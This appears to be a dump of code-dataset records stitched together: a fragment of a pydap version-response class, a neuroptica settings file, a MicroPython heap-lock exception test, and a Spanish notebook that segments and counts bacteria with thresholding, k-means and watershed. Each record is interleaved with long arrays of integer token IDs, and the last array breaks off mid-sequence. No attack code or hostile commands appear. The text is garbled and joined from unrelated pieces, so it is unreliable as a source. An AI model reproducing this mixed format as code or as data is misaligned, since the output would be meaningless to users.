res.content_type = 'application/json' res.charset = 'utf-8' res.headers.add('Content-description', 'dods_version') res.headers.add('XDODS-Server', 'pydap/%s' % __version__) return res(environ, start_response)
[ 1, 529, 276, 1112, 420, 29958, 29967, 12323, 6092, 29900, 29900, 29896, 29914, 2272, 29881, 481, 29966, 9507, 29958, 4351, 29914, 2272, 29881, 481, 29914, 26679, 267, 29914, 3259, 29889, 2272, 13, 15945, 29908, 5103, 411, 2472, 1048, 282, 2941, 481, 1873, 1213, 15945, 13, 13, 5215, 10876, 13, 3166, 4832, 1053, 1426, 29918, 1853, 13, 13, 3166, 1856, 711, 1053, 13291, 13, 3166, 4390, 1053, 270, 17204, 13, 3166, 282, 9415, 29918, 13237, 1053, 4256, 29918, 8269, 29918, 9748, 13, 13, 3166, 6317, 1982, 1053, 4770, 3259, 1649, 29892, 4770, 29881, 481, 1649, 13, 13, 13, 1990, 10079, 5103, 29898, 3318, 1125, 13, 13, 1678, 9995, 29909, 4266, 1891, 2933, 363, 13490, 29889, 13, 13, 1678, 910, 338, 263, 4266, 2933, 1304, 304, 2479, 2472, 1048, 278, 1923, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 4770, 3259, 1649, 353, 4770, 3259, 1649, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8783, 1125, 13, 4706, 1962, 353, 426, 13, 9651, 376, 2272, 29881, 481, 1115, 4770, 3259, 1649, 29892, 13, 9651, 376, 29881, 481, 1115, 4770, 29881, 481, 1649, 29892, 13, 9651, 376, 3179, 9306, 1115, 9657, 29898, 13, 18884, 313, 1022, 29889, 978, 29892, 679, 5552, 29898, 1022, 29889, 1359, 3285, 376, 1649, 3259, 1649, 613, 376, 14148, 5783, 13, 18884, 363, 9358, 297, 4256, 29918, 8269, 29918, 9748, 703, 2272, 29881, 481, 29889, 13789, 1159, 13, 9651, 10353, 13, 9651, 376, 26679, 267, 1115, 9657, 29898, 13, 18884, 313, 1022, 29889, 978, 29892, 679, 5552, 29898, 1022, 29889, 1359, 3285, 376, 1649, 3259, 1649, 613, 376, 14148, 5783, 13, 18884, 363, 9358, 297, 4256, 29918, 8269, 29918, 9748, 703, 2272, 29881, 481, 29889, 5327, 1159, 13, 9651, 10353, 13, 9651, 376, 12171, 1115, 9657, 29898, 13, 18884, 313, 1022, 29889, 978, 29892, 679, 5552, 29898, 1022, 29889, 1359, 3285, 376, 1649, 3259, 1649, 613, 376, 14148, 5783, 13, 18884, 363, 9358, 297, 4256, 29918, 8269, 29918, 9748, 703, 2272, 29881, 481, 29889, 2220, 1159, 13, 9651, 10353, 13, 9651, 376, 4691, 1115, 10876, 29889, 3259, 29892, 13, 4706, 500, 13, 4706, 1583, 29889, 2587, 353, 270, 17204, 29898, 4905, 29892, 29536, 29922, 29946, 29897, 13, 13, 1678, 822, 4770, 4804, 12035, 1311, 29892, 12471, 29892, 1369, 29918, 5327, 1125, 13, 4706, 620, 353, 13291, 580, 13, 4706, 620, 29889, 726, 353, 1426, 29918, 1853, 29898, 1311, 29889, 2587, 29897, 13, 4706, 620, 29889, 4882, 353, 525, 29906, 29900, 29900, 9280, 29915, 13, 4706, 620, 29889, 3051, 29918, 1853, 353, 525, 6214, 29914, 3126, 29915, 13, 4706, 620, 29889, 3090, 842, 353, 525, 9420, 29899, 29947, 29915, 13, 4706, 620, 29889, 13662, 29889, 1202, 877, 3916, 29899, 8216, 742, 525, 29881, 19653, 29918, 3259, 1495, 13, 4706, 620, 29889, 13662, 29889, 1202, 877, 29990, 3970, 8452, 29899, 6004, 742, 525, 2272, 29881, 481, 22584, 29879, 29915, 1273, 4770, 3259, 1649, 29897, 13, 13, 4706, 736, 620, 29898, 21813, 29892, 1369, 29918, 5327, 29897, 13, 2 ]
neuroptica/settings.py
bendavidsteel/neuroptica
161
184365
import numba import numpy as np NP_COMPLEX = np.complex128 NUMBA_COMPLEX = numba.complex128 NP_FLOAT = np.float64 NUMBA_FLOAT = numba.float64
[ 1, 1053, 954, 2291, 13, 5215, 12655, 408, 7442, 13, 13, 25500, 29918, 21514, 1307, 29990, 353, 7442, 29889, 19676, 29896, 29906, 29947, 13, 13967, 5688, 29918, 21514, 1307, 29990, 353, 954, 2291, 29889, 19676, 29896, 29906, 29947, 13, 25500, 29918, 29943, 3927, 1299, 353, 7442, 29889, 7411, 29953, 29946, 13, 13967, 5688, 29918, 29943, 3927, 1299, 353, 954, 2291, 29889, 7411, 29953, 29946, 13, 2 ]
tests/micropython/heapalloc_exc_compressed.py
andihoff98/micropython
2
30391
<filename>tests/micropython/heapalloc_exc_compressed.py import micropython # Tests both code paths for built-in exception raising. # mp_obj_new_exception_msg_varg (exception requires decompression at raise-time to format) # mp_obj_new_exception_msg (decompression can be deferred) # NameError uses mp_obj_new_exception_msg_varg for NameError("name '%q' isn't defined") # `raise 0` uses mp_obj_new_exception_msg for TypeError("exceptions must derive from BaseException") # Tests that deferred decompression works both via print(e) and accessing the message directly via e.args. # First test the regular case (can use heap for allocating the decompression buffer). try: name() except NameError as e: print(type(e).__name__, e) try: raise 0 except TypeError as e: print(type(e).__name__, e) try: name() except NameError as e: print(e.args[0]) try: raise 0 except TypeError as e: print(e.args[0]) # Then test that it still works when the heap is locked (i.e. in ISR context). micropython.heap_lock() try: name() except NameError as e: print(type(e).__name__) try: raise 0 except TypeError as e: print(type(e).__name__) micropython.heap_unlock()
[ 1, 529, 9507, 29958, 21150, 29914, 13076, 1336, 1656, 29914, 354, 481, 15956, 29918, 735, 29883, 29918, 510, 13120, 29889, 2272, 13, 5215, 20710, 1336, 1656, 13, 13, 29937, 4321, 29879, 1716, 775, 10898, 363, 4240, 29899, 262, 3682, 29263, 29889, 13, 29937, 22326, 29918, 5415, 29918, 1482, 29918, 11739, 29918, 7645, 29918, 29894, 1191, 313, 11739, 6858, 17753, 2590, 472, 12020, 29899, 2230, 304, 3402, 29897, 13, 29937, 22326, 29918, 5415, 29918, 1482, 29918, 11739, 29918, 7645, 313, 311, 510, 2590, 508, 367, 316, 14373, 29897, 13, 13, 29937, 4408, 2392, 3913, 22326, 29918, 5415, 29918, 1482, 29918, 11739, 29918, 7645, 29918, 29894, 1191, 363, 4408, 2392, 703, 978, 14210, 29939, 29915, 3508, 29915, 29873, 3342, 1159, 13, 29937, 421, 22692, 29871, 29900, 29952, 3913, 22326, 29918, 5415, 29918, 1482, 29918, 11739, 29918, 7645, 363, 20948, 703, 11739, 29879, 1818, 21340, 515, 7399, 2451, 1159, 13, 13, 29937, 4321, 29879, 393, 316, 14373, 17753, 2590, 1736, 1716, 3025, 1596, 29898, 29872, 29897, 322, 17378, 278, 2643, 4153, 3025, 321, 29889, 5085, 29889, 13, 13, 29937, 3824, 1243, 278, 4943, 1206, 313, 3068, 671, 16947, 363, 6643, 1218, 278, 17753, 2590, 6835, 467, 13, 2202, 29901, 13, 1678, 1024, 580, 13, 19499, 4408, 2392, 408, 321, 29901, 13, 1678, 1596, 29898, 1853, 29898, 29872, 467, 1649, 978, 1649, 29892, 321, 29897, 13, 13, 2202, 29901, 13, 1678, 12020, 29871, 29900, 13, 19499, 20948, 408, 321, 29901, 13, 1678, 1596, 29898, 1853, 29898, 29872, 467, 1649, 978, 1649, 29892, 321, 29897, 13, 13, 2202, 29901, 13, 1678, 1024, 580, 13, 19499, 4408, 2392, 408, 321, 29901, 13, 1678, 1596, 29898, 29872, 29889, 5085, 29961, 29900, 2314, 13, 13, 2202, 29901, 13, 1678, 12020, 29871, 29900, 13, 19499, 20948, 408, 321, 29901, 13, 1678, 1596, 29898, 29872, 29889, 5085, 29961, 29900, 2314, 13, 13, 29937, 1987, 1243, 393, 372, 1603, 1736, 746, 278, 16947, 338, 22822, 313, 29875, 29889, 29872, 29889, 297, 8519, 29934, 3030, 467, 13, 13076, 1336, 1656, 29889, 354, 481, 29918, 908, 580, 13, 13, 2202, 29901, 13, 1678, 1024, 580, 13, 19499, 4408, 2392, 408, 321, 29901, 13, 1678, 1596, 29898, 1853, 29898, 29872, 467, 1649, 978, 1649, 29897, 13, 13, 2202, 29901, 13, 1678, 12020, 29871, 29900, 13, 19499, 20948, 408, 321, 29901, 13, 1678, 1596, 29898, 1853, 29898, 29872, 467, 1649, 978, 1649, 29897, 13, 13, 13076, 1336, 1656, 29889, 354, 481, 29918, 348, 908, 580, 13, 2 ]
Pregunta 6.py
gmagannaDevelop/ImagenesTercerParcial
0
190143
<reponame>gmagannaDevelop/ImagenesTercerParcial #!/usr/bin/env python # coding: utf-8 # # Pregunta 6 # (2 puntos) La imagen Ex3Preg6(a).tif muestra una imagen tomada con un microscopio de cultivo de bacterias identificadas por los círculos intensos: # # a. (0.5 puntos) Usando una técnica de umbralización global, segmente la imagen y muestre el resultado de la segmetnación. # # b. (0.5 puntos) A la imagenoriginal se le aplicó una umbralización con valores locales yal resultado se le realizó una apertura morbológica obteniendo la imagen Ex3Preg6(b).tif. Usando esta imagen,cuente y etiquete cuantos objetos de la segmentación pueden considerarse células independientes. # # c. (1 punto) Continuando con la imagen anterior. Cuente y etiquete cuantos objetos de la segmentación pueden considerarse 2 células agrupadas, y cuantos y cuales más de 2 células. # In[2]: # Annotations from typing import Tuple, List, Callable, NoReturn, Any, Optional # Functional programing tools : from functools import partial, reduce from itertools import chain # Visualisation : import matplotlib.pyplot as plt import matplotlib.image as pim import matplotlib.patches as mpatches import seaborn as sns # Data tools : import numpy as np import pandas as pd # Image processing : import cv2 as cv from scipy import ndimage as ndi import skimage from skimage import data import skimage.segmentation as seg from skimage.filters import threshold_otsu from skimage.segmentation import clear_border from skimage.measure import label, regionprops from skimage.morphology import closing, square from skimage.color import label2rgb from skimage.morphology import watershed from skimage.feature import peak_local_max # Machine Learning : from sklearn.cluster import KMeans # Jupyter reimport utils : import importlib # In[3]: # Custom : import mfilt_funcs as mfs importlib.reload(mfs) import mfilt_funcs as mfs import utils importlib.reload(utils) import utils # In[4]: # Being lazy : lmap = lambda x, y: list(map(x, y)) lfilter = lambda x, y: list(filter(x, y)) # In[5]: def segplot( img: np.ndarray, group: skimage.measure._regionprops.RegionProperties, color: Optional[str] = None, title: Optional[str] = None ) -> NoReturn: """ """ if not color: color = 'red' fig, ax = plt.subplots(figsize=(9, 9)) ax.imshow(imgb2c, cmap='gray') for region in group: minr, minc, maxr, maxc = region.bbox rect = mpatches.Rectangle((minc, minr), maxc - minc, maxr - minr, fill=False, edgecolor=color, linewidth=2) ax.add_patch(rect) if title: plt.title(title) plt.tight_layout() plt.show() ## def image_show(image, nrows=1, ncols=1, cmap='gray', **kwargs): """ Taken from : https://github.com/gmagannaDevelop/skimage-tutorials/blob/master/lectures/4_segmentation.ipynb """ fig, ax = plt.subplots(nrows=nrows, ncols=ncols, figsize=(16, 16)) ax.imshow(image, cmap='gray') ax.axis('off') return fig, ax ## def watershed_viz(image, distance, labels): """ Constructed from the example found in : https://scikit-image.org/docs/dev/auto_examples/segmentation/plot_watershed.html """ fig, axes = plt.subplots(ncols=3, figsize=(9, 3), sharex=True, sharey=True) ax = axes.ravel() ax[0].imshow(image, cmap=plt.cm.gray) ax[0].set_title('Overlapping objects') ax[1].imshow(-distance, cmap=plt.cm.gray) ax[1].set_title('Distances') ax[2].imshow(labels, cmap=plt.cm.nipy_spectral) ax[2].set_title('Separated objects') for a in ax: a.set_axis_off() fig.tight_layout() plt.show() ## def ez_watershed(image: np.ndarray, footprint: Optional[np.array] = None, **kw) -> Tuple[int, int, int]: """ """ distance = ndi.distance_transform_edt(image) if footprint is not None: fp = footprint else: fp = np.ones((10, 10)) local_maxi = peak_local_max( distance, indices=False, footprint=np.ones((10, 10)), labels=image, **kw ) markers = ndi.label(local_maxi)[0] labels = watershed(-distance, markers, mask=image) return markers, distance, labels ## # In[6]: #plt.style.available # In[7]: plt.style.use('seaborn-deep') plt.rcParams['figure.figsize'] = (10, 5) # In[8]: img = cv.imread('imagenes/Ex3Preg6(a).tif', cv.IMREAD_GRAYSCALE) color = cv.cvtColor(img, cv.COLOR_GRAY2RGB) # Color copy, to draw colored circles # ## a. (0.5 puntos) Usando una técnica de umbralización global, segmente la imagen y muestre el resultado de la segmetnación. # In[9]: intensities = pd.core.frame.DataFrame(dict(intensity=img.flatten())) # In[10]: sns.distplot(intensities, kde=False, rug=True, bins=10) # In[11]: kmeans = KMeans(n_clusters=2, random_state=0, verbose=False).fit(intensities) K = int(kmeans.cluster_centers_.mean()) # In[12]: centers1 = lmap(int, list(chain.from_iterable(kmeans.cluster_centers_))) # In[13]: sns.distplot(intensities, kde=False, rug=True, bins=10) plt.axvline(K, color='r') lmap(lambda x: plt.axvline(x, color='g'), centers1) _ = plt.title(f"Means = {centers1}, K = {K}", size=16) # In[14]: thresh1 = cv.threshold(img, K, 255, cv.THRESH_BINARY)[1] # In[15]: utils.side_by_side(img, thresh1) # Como podemos ver, una técinca de umbralización estándar como k-medias móviles, con dos medias, da resultados muy pobres. # In[16]: otsu1 = cv.threshold(img,0,255,cv.THRESH_BINARY+cv.THRESH_OTSU)[1] # In[17]: utils.side_by_side(img, otsu1) # El algoritmo de Otsu no logra mejorar mucho la segmentación (esto era de esperarse dado que el histograma original era claramente bimodal). # In[18]: gblur = cv.GaussianBlur(img,(3,3),0) otsu2 = cv.threshold(gblur,0,255,cv.THRESH_BINARY+cv.THRESH_OTSU)[1] # In[19]: utils.side_by_side(img, otsu2) # El algoritmo de Otsu no logra mejorar mucho la segmentación aún en combinación con un suavizado Gaussiano. # In[20]: img_blur = cv.medianBlur(img, 5) circles = cv.HoughCircles(img_blur, cv.HOUGH_GRADIENT, 1, img.shape[0]/64, param1=200, param2=10, minRadius=5, maxRadius=7) # In[21]: if circles is not None: circles = np.uint16(np.around(circles)) for i in circles[0, :]: cv.circle(img, (i[0], i[1]), i[2], (0, 0, 255), 2) # In[22]: plt.imshow(img, cmap='gray') # Al ver que las células tenían una apariencia más o menos circular, parecía una buena idea usar una transformada de Hough para buscar los círculos de la imagen, pero esto entregó resultados muy pobres. Tal vez esto podría funcionar con la imagen binaria. # ## b. (0.5 puntos) A la imagenoriginal se le aplicó una umbralización con valores locales yal resultado se le realizó una apertura morbológica obteniendo la imagen Ex3Preg6(b).tif. Usando esta imagen,cuente y etiquete cuantos objetos de la segmentación pueden considerarse células independientes. # In[23]: imgb = cv.imread('imagenes/Ex3Preg6(b).tif', cv.IMREAD_GRAYSCALE) imgbc = cv.cvtColor(imgb, cv.COLOR_BAYER_GB2RGB) utils.side_by_side(imgb, imgbc) # ### Primera aproximación : # El uso de la transformada de Hough para círculos, no para líneas. Al ver la imagen, uno podría pensar que un círculo es una buena aproximación de la forma de una célula, por lo tanto los cículos encontrados por una transformada de Hough serían las células que buscamos identificar, caracterizar y contabilizar # In[26]: circles = cv.HoughCircles(imgb, cv.HOUGH_GRADIENT, 1, img.shape[0]/64, param1=200, param2=10, minRadius=5, maxRadius=15) # In[27]: if circles is not None: circles = np.uint16(np.around(circles)) for i in circles[0, :]: cv.circle(imgbc, (i[0], i[1]), i[2], (155, 0, 0), 2) # In[28]: utils.side_by_side(imgb, imgbc) # Aquí podemos ver que aunque la imagen principal carece de falsos positivos (es decir todos los círculos dibujados dentro de la región útil de la imagen contienen una célula) el **número de falsos negativos es altísimo** : sólo una pequeña parte de las células observadas fueron identificadas por ```cv.HoughCircles()```. # # Esto nos indica que tal vez las células no se asemejan tanto a un círculo. Por esta razón, no se explorará más a fondo esta vía de acción. Cabe mencionar que la transformada encuentra círculos en el texto de encabezado : **Imagen con apertura**. Por esta razón, en delante se trabajará con otra imagen recortada a mano para excluir este texto que podría causar problemas en la segmentación más adelante. # In[29]: imgb2 = cv.imread('imagenes/Ex3Preg6(b)3.tif', cv.IMREAD_GRAYSCALE) imgb2c = clear_border(imgb2) utils.side_by_side(imgb2, imgb2c) # In[30]: sns.distplot(imgb2c.flatten(), kde=False, rug=True) # Imagen claramente binaria. # In[31]: label_image, n_objs = label(imgb2c, return_num=True) fig, ax = plt.subplots(figsize=(10, 10)) #ax.imshow(label_image[100:200,0:100:]) ax.imshow(label_image) print(n_objs) # Aquí podemos ver cómo ```skimage.label()``` es efectivo para identificar objetos en una imagen binaria. # In[32]: objs = regionprops(label_image) areas = pd.core.frame.DataFrame({ 'area': map(lambda x: x.area, objs) }) # Bajo las hipótesis : # 1. El área observable de las bacterias sigue una distribución normal razonablemnte estrecha. # 2. El área de la máscara de segmentación generada a través de una umbralización con valores locales y una apertura morfológica es una buena aproximación del área de una célula. # # La conclusión lógica sería que donde se tenían dos o más células y que la apertura unió las regiones de segmentación, el valor del área aumentará consecuentemente. # In[33]: areas.describe(), sns.boxplot(areas) # In[34]: sns.distplot(areas, kde=False, rug=True) # Analizando la distribución de las áreas, se encuentran algunos puntos cercanos a cero, éstos serán inspeccionados a continuación. # In[35]: _ = areas.area.sort_values() _[:10], _[-10:] # Algunos de los primeros valores de las áreas corresponden claramente a falsos positivos, porque no tenemos células de uno o dos pixeles. Estos pixeles blancos no se observaban en la imagen original, de cualquier manera se retirarán manualmente para no sesgar el análisis posterior. # Se propone clasificar los cúmulos de 1, 2 y 3 o más bacterias en función del área. Se utilizará el algoritmo de las medias móviles con tres grupos, es decir dos umbrales. # In[36]: objs2 = regionprops(label_image) objs2 = list(filter(lambda x: x if x.area > 2 else False, objs2)) areas2 = pd.core.frame.DataFrame({ 'area': map(lambda x: x.area, objs2) }) # In[37]: kmeans2 = KMeans(n_clusters=3, random_state=0, verbose=False).fit(areas2) centers = pd.core.frame.DataFrame({ "means": chain.from_iterable(kmeans2.cluster_centers_) }) centers['k'] = centers.rolling(2).mean() print(centers) centers = centers.applymap(lambda x: np.int64(x) if not np.isnan(x) else x) print(centers) # In[38]: sns.distplot(areas2, kde=False, rug=True) lmap(lambda x: plt.axvline(x, color='r'), centers.k.dropna()) lmap(lambda x: plt.axvline(x, color='g'), centers.means) _ = plt.title(f"Means = {centers.means.tolist()}, Ks = {centers.k.dropna().tolist()}", size=16) # In[39]: ks = centers.k.dropna().tolist() cells = [ lfilter(lambda x: x if x.area < ks[0] else False, objs2), lfilter(lambda x: x if x.area >= ks[0] and x.area < ks[1] else False, objs2), lfilter(lambda x: x if x.area >= ks[1] else False, objs2) ] # Creamos una lista de listas en la cual están contenidos tres grupos de bacterias (cúmulos de 1, 2 o más) identificados por ```skimage.label()```, separados en función de los umbrales encontrados promediando los promedios encontrados por ```sklean.KMeans()```. # # A continuación se observan las máscaras identificando los grupos respectivos. Nótese que el conjunto con la mayor cantidad de errores (sobre todo falsos positivos) es el de dos células. # # Grupos observados : # 1. En rojo : una célula. # 2. En verde : dos células. # 3. En azul : más de dos células. # In[40]: for cell, color in zip(cells, 'red green blue'.split(' ')): segplot(imgb2c, cell, color=color) # In[41]: conteo = {f"Objetos de {i} células": len(cells[i-1]) for i in range(1, 4)} conteo # Aquí está el conteo del número de bacterias por objeto en la máscara de segmentación (imagen binaria). # De entre todas las clases, debemos confiar menos en la segunda categoría, dado que la mera separación en función del área no basta para distinguir adecuadamente entre cúmulos de una célula grande, dos y tres de las cuales una o dos pueden ser pequeñas. # Reporte de errores observados en el conjunto de **dos células**. # # 1. Falsos postivos : 10 # 2. Falsos negativos : 1 # # In[42]: plt.close('all') # In[46]: # One-liner used to fill the borders of segmentation regions pad = lambda x: cv.copyMakeBorder(np.float64(x.image), 10, 10, 10, 10, cv.BORDER_CONSTANT) # In[47]: areas2 = pd.core.series.Series(lmap(lambda x: x.area, cells[1])) sns.distplot(areas2) plt.axvline(areas2.mean(), color='g') plt.axvline(areas2.mean() + areas2.std() , color='r') plt.axvline(areas2.mean() - areas2.std() , color='r') # In[60]: grandes = [cell for cell in cells[1] if cell.area > areas2.mean() - 0.5*areas2.std()] # In[61]: for cell in grandes: image = pad(cell) markers, distance, labels = ez_watershed(image, footprint=np.ones((5, 5))) watershed_viz(image, distance, labels) # In[75]: #type(cells[1][2]) # In[76]: # Function used to extract properties from a list of skimage.measure._regionprops.RegionProperties properties_table = lambda y: pd.core.frame.DataFrame({ "A * P": lmap(lambda x: x.area * x.perimeter, y), "A / P": lmap(lambda x: x.area / x.perimeter, y), "P / A": lmap(lambda x: x.perimeter / x.area, y), "convex A": lmap(lambda x: x.convex_area, y), "equivalent_diameter": lmap(lambda x: x.equivalent_diameter, y), "eccentricity": lmap(lambda x: x.eccentricity, y), "minor_axis_length": lmap(lambda x: x.minor_axis_length, y), "major_axis_length": lmap(lambda x: x.major_axis_length, y) }) # In[77]: propiedades2 = properties_table(cells[1]) # In[78]: sns.pairplot(propiedades2) # ### Perspectivas de mejora del conteo celular : # # Aquí podemos observar que las propiedades que probablemente sean más útiles para mejorar la clasificación se encuentran en las primeras cuatro filas y en las últimas tres columnas. Ya que en los _scatterplots_ generados hay una separación considerable a lo largo de los ejes horizontales entre los que creeríamos son **verdaderos positivos** (cúmulo de puntos mayor) y los que son **falsos positivos** (puntos dispersos entre sí y alejados del cúmulo principal). # # Observando a qué regiones pertenecen y etiquetándolos, se podría entrenar un modelo de inteligencia artificial sea una red neuronal o una máquina de soporte vectorial para poder clasificarlos eficientemente. # # La máquina de soporte vectorial encontraría (idealmente) el hiperplano que mejor separase los cúmulos. # Un ejemplo artificial (construido a mano) se muestra a continuación. # In[84]: sns.scatterplot('minor_axis_length', 'convex A', data=propiedades2) plt.axvline(13, color='red') # ### Extra : Visualización de subsegmentaciones gracias al algoritmo Watershed. # In[87]: for cell in cells[2]: image = pad(cell) markers, distance, labels = ez_watershed(image, footprint=np.ones((10,10))) watershed_viz(image, distance, labels) # In[ ]: # In[ ]:
[ 1, 529, 276, 1112, 420, 29958, 29887, 11082, 9713, 21956, 29914, 1888, 5370, 267, 29911, 261, 2265, 2177, 1455, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 14137, 29901, 23616, 29899, 29947, 13, 13, 29937, 396, 349, 1727, 16138, 29871, 29953, 13, 13, 29937, 313, 29906, 28780, 29897, 997, 527, 5370, 1222, 29941, 29925, 1727, 29953, 29898, 29874, 467, 29873, 361, 3887, 8505, 1185, 527, 5370, 6454, 1114, 378, 443, 9200, 21785, 601, 316, 4185, 4243, 316, 289, 5761, 3173, 25907, 3922, 1277, 1232, 274, 10687, 1810, 359, 12838, 359, 29901, 13, 29937, 29871, 13, 29937, 263, 29889, 313, 29900, 29889, 29945, 28780, 29897, 10783, 1743, 1185, 22658, 8902, 316, 1922, 1182, 284, 15677, 5534, 29892, 2377, 2689, 425, 527, 5370, 343, 3887, 15679, 560, 24578, 316, 425, 2377, 2527, 1056, 1290, 29889, 13, 29937, 29871, 13, 29937, 289, 29889, 313, 29900, 29889, 29945, 28780, 29897, 319, 425, 527, 5370, 13492, 409, 454, 20760, 29980, 1185, 1922, 1182, 284, 15677, 378, 659, 2361, 1887, 267, 343, 284, 24578, 409, 454, 8869, 29980, 1185, 263, 10700, 2002, 3036, 2095, 8510, 983, 16219, 17008, 425, 527, 5370, 1222, 29941, 29925, 1727, 29953, 29898, 29890, 467, 29873, 361, 29889, 10783, 1743, 7444, 527, 5370, 29892, 4979, 2016, 343, 634, 8105, 2650, 2723, 424, 359, 13413, 359, 316, 425, 10768, 2709, 19796, 2050, 7989, 19489, 15173, 11061, 13833, 29889, 29871, 13, 29937, 29871, 13, 29937, 274, 29889, 313, 29896, 15978, 29897, 2866, 8675, 1743, 378, 425, 527, 5370, 14123, 29889, 10406, 2016, 343, 634, 8105, 2650, 2723, 424, 359, 13413, 359, 316, 425, 10768, 2709, 19796, 2050, 7989, 29871, 29906, 19489, 15173, 946, 17827, 3922, 29892, 343, 2723, 424, 359, 343, 28276, 3627, 316, 29871, 29906, 19489, 15173, 29889, 13, 13, 29937, 512, 29961, 29906, 5387, 13, 13, 13, 29937, 530, 1333, 800, 13, 3166, 19229, 1053, 12603, 552, 29892, 2391, 29892, 8251, 519, 29892, 1939, 11609, 29892, 3139, 29892, 28379, 13, 13, 29937, 6680, 284, 1824, 292, 8492, 584, 29871, 13, 3166, 2090, 312, 8789, 1053, 7687, 29892, 10032, 13, 3166, 4256, 8504, 1053, 9704, 13, 13, 29937, 9249, 4371, 584, 29871, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 22889, 29889, 3027, 408, 282, 326, 13, 5215, 22889, 29889, 5041, 267, 408, 286, 5041, 267, 13, 5215, 409, 370, 1398, 408, 269, 1983, 13, 13, 29937, 3630, 8492, 584, 13, 5215, 12655, 408, 7442, 13, 5215, 11701, 408, 10518, 13, 13, 29937, 7084, 9068, 584, 29871, 13, 5215, 13850, 29906, 408, 13850, 13, 3166, 4560, 2272, 1053, 29871, 299, 3027, 408, 29871, 299, 29875, 13, 5215, 2071, 3027, 13, 3166, 2071, 3027, 1053, 848, 13, 5215, 2071, 3027, 29889, 28192, 362, 408, 2377, 13, 3166, 2071, 3027, 29889, 26705, 1053, 16897, 29918, 1862, 29884, 13, 3166, 2071, 3027, 29889, 28192, 362, 1053, 2821, 29918, 11466, 13, 3166, 2071, 3027, 29889, 26658, 1053, 3858, 29892, 5120, 11030, 13, 3166, 2071, 3027, 29889, 29885, 5676, 3002, 1053, 14382, 29892, 6862, 13, 3166, 2071, 3027, 29889, 2780, 1053, 3858, 29906, 23973, 13, 3166, 2071, 3027, 29889, 29885, 5676, 3002, 1053, 19922, 17143, 13, 3166, 2071, 3027, 29889, 14394, 1053, 19224, 29918, 2997, 29918, 3317, 13, 13, 13, 29937, 6189, 29257, 584, 13, 3166, 2071, 19668, 29889, 19594, 1053, 476, 6816, 550, 13, 13, 29937, 27441, 25547, 337, 5215, 3667, 29879, 584, 13, 5215, 1053, 1982, 13, 13, 13, 29937, 512, 29961, 29941, 5387, 13, 13, 13, 29937, 8701, 584, 13, 5215, 286, 1777, 29873, 29918, 7692, 2395, 408, 286, 5847, 13, 5215, 1982, 29889, 28120, 29898, 29885, 5847, 29897, 13, 5215, 286, 1777, 29873, 29918, 7692, 2395, 408, 286, 5847, 13, 13, 5215, 3667, 29879, 13, 5215, 1982, 29889, 28120, 29898, 13239, 29897, 13, 5215, 3667, 29879, 13, 13, 13, 29937, 512, 29961, 29946, 5387, 13, 13, 13, 29937, 28265, 17366, 584, 13, 29880, 1958, 353, 14013, 921, 29892, 343, 29901, 1051, 29898, 1958, 29898, 29916, 29892, 343, 876, 13, 29880, 4572, 353, 14013, 921, 29892, 343, 29901, 1051, 29898, 4572, 29898, 29916, 29892, 343, 876, 13, 13, 13, 29937, 512, 29961, 29945, 5387, 13, 13, 13, 1753, 2377, 5317, 29898, 13, 1678, 10153, 29901, 7442, 29889, 299, 2378, 29892, 29871, 13, 1678, 2318, 29901, 2071, 3027, 29889, 26658, 3032, 12803, 11030, 29889, 18457, 11857, 29892, 29871, 13, 1678, 2927, 29901, 28379, 29961, 710, 29962, 353, 6213, 29892, 13, 1678, 3611, 29901, 28379, 29961, 710, 29962, 353, 6213, 13, 29897, 1599, 1939, 11609, 29901, 13, 1678, 9995, 13, 1678, 9995, 13, 1678, 565, 451, 2927, 29901, 13, 4706, 2927, 353, 525, 1127, 29915, 13, 308, 13, 1678, 2537, 29892, 4853, 353, 14770, 29889, 1491, 26762, 29898, 1003, 2311, 7607, 29929, 29892, 29871, 29929, 876, 13, 1678, 4853, 29889, 326, 4294, 29898, 2492, 29890, 29906, 29883, 29892, 274, 1958, 2433, 21012, 1495, 13, 13, 1678, 363, 5120, 297, 2318, 29901, 13, 4706, 1375, 29878, 29892, 1375, 29883, 29892, 4236, 29878, 29892, 4236, 29883, 353, 5120, 29889, 29890, 1884, 13, 4706, 7705, 353, 286, 5041, 267, 29889, 7364, 2521, 3552, 1195, 29883, 29892, 1375, 29878, 511, 4236, 29883, 448, 1375, 29883, 29892, 4236, 29878, 448, 1375, 29878, 29892, 13, 462, 462, 29871, 5445, 29922, 8824, 29892, 7636, 2780, 29922, 2780, 29892, 1196, 2103, 29922, 29906, 29897, 13, 4706, 4853, 29889, 1202, 29918, 5041, 29898, 1621, 29897, 13, 268, 13, 1678, 565, 3611, 29901, 13, 4706, 14770, 29889, 3257, 29898, 3257, 29897, 13, 1678, 14770, 29889, 29873, 523, 29918, 2680, 580, 13, 1678, 14770, 29889, 4294, 580, 13, 2277, 13, 13, 1753, 1967, 29918, 4294, 29898, 3027, 29892, 302, 5727, 29922, 29896, 29892, 302, 22724, 29922, 29896, 29892, 274, 1958, 2433, 21012, 742, 3579, 19290, 1125, 13, 1678, 9995, 13, 4706, 323, 9424, 515, 584, 13, 4706, 2045, 597, 3292, 29889, 510, 29914, 29887, 11082, 9713, 21956, 29914, 808, 3027, 29899, 12631, 29879, 29914, 10054, 29914, 6207, 29914, 781, 1973, 29914, 29946, 29918, 28192, 362, 29889, 666, 948, 29890, 13, 1678, 9995, 13, 1678, 2537, 29892, 4853, 353, 14770, 29889, 1491, 26762, 29898, 29876, 5727, 29922, 29876, 5727, 29892, 302, 22724, 29922, 29876, 22724, 29892, 2537, 2311, 7607, 29896, 29953, 29892, 29871, 29896, 29953, 876, 13, 1678, 4853, 29889, 326, 4294, 29898, 3027, 29892, 274, 1958, 2433, 21012, 1495, 13, 1678, 4853, 29889, 8990, 877, 2696, 1495, 13, 1678, 736, 2537, 29892, 4853, 13, 2277, 13, 13, 1753, 19922, 17143, 29918, 29894, 466, 29898, 3027, 29892, 5418, 29892, 11073, 1125, 13, 1678, 9995, 13, 4706, 1281, 4984, 287, 515, 278, 1342, 1476, 297, 584, 13, 4706, 2045, 597, 26167, 7354, 29899, 3027, 29889, 990, 29914, 2640, 29914, 3359, 29914, 6921, 29918, 19057, 29914, 28192, 362, 29914, 5317, 29918, 29893, 10412, 17143, 29889, 1420, 13, 1678, 9995, 13, 1678, 2537, 29892, 27815, 353, 14770, 29889, 1491, 26762, 29898, 